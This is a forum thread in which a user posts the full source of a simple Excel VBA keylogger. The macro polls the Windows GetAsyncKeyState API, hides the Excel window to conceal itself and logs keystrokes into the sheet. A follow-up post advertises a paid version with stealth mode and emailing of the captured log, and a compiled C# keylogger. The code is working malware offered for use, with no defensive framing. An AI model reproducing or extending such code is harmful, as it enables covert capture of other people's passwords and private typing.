Welcome to the fracta.net forum!

Share your coding ideas or ask questions.

Question Re: Simple Excel VBA key logger macro

More
12 years 11 months ago - 7 months 2 weeks ago #20 by roller
Key loggers can be very sophisticated but this example demonstrates a very simple key logger built into an Excel file. Also demonstrated in this Excel VBA macro is how to capture key press activities from Windows API User32 dll.

Before I continue with the rest of this article I will mention that I have put together a full version of this Excel keystrokes logger with better key mapping then described below that can be downloaded from this link

Now let's continue - From Excel open the VBA editor by pressing ALT+F11. In the properties window right click on the VBA project and add a new module.

Copy the code below into the module, the code been commented as we go a long to explain what it does.

'first we declare some variables that we are going to need later
Dim i, e As Long
Dim s As String
Dim b As Integer
Dim result As Long

'this declaration will allow us to call a function in the User32.dll that will tell us what key is pressed
Public Declare Function GetAsyncKeyState Lib "User32" (ByVal vKey As Long) As Long

'to run the key logger you will run the macro called loK
Sub loK()
e = 1
b = 0
'we can hide the Excel application from view to hide the key logger
Application.Visible = False
'the amount of time the key logger will run for
f = Now() + TimeValue("00:00:59")

'this loop will stop when the time above run out
Do While Now() < f
'the GetAsyncKeyState function will return a value of -32767 for any key that is pressed
'we cycle thru all 255 possible keys to check which one has a value of -32767
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
'if we find a key that is pressed we attach to our string
If result = -32767 Then s = s + Chr$(i)
Next i
'every time we collect 100 characters we right them to a new column in the Excel sheet
If Len(s) = 100 Then
Cells(e, 1).Value = s
'each batch of 100 characters are written to a new row
e = e + 1
s = ""
End If
Loop

'when the time we set above expires we write the remaing characters to a new row
Cells(e, 1).Value = s
s = ""
' we bring the Excel application to view so we can see the log of charaters
Application.Visible = True
End Sub


The above macro will work in any Excel applications as long as macros are enabled.

As you will see when you run this code the key log is very basic, you will be able to indentify characters straight away in some sections of the keyboard but other section the log will require some decoding. A bit more code could map these characters to something more reader friendly.

;) Read the below post on how you can get a working copy of this Excel macro.
Last edit: 7 months 2 weeks ago by roller.

Please Log in or Create an account to join the conversation.

More
12 years 11 months ago - 7 months 2 weeks ago #21 by roller
B) If the Excel key logger interest you and you want a more sophisticated version than the one described above you can download a complete working copy from our store on this link .

This version has all the coding done so you don't have to spend time on that and it works. It also has additional features such as the ability to email the key log to your email address, stealth mode and few more bits and pieces. Plus the keyboard mapping is more advanced - this version can detect upper and lower case letters, all the numbers above the keyboard and other characters such as !@#$% etc...



:blink: You can also check out the C# version of the key logger, in that post we go even furthur to map the key log to the correct characters.

or you can download a compiled version of the C# example key logger, an exe program, for couple AU$ from here .

Pay securely with Paypal...
Last edit: 7 months 2 weeks ago by roller.

Please Log in or Create an account to join the conversation.

Time to create page: 0.475 seconds
Powered by Kunena Forum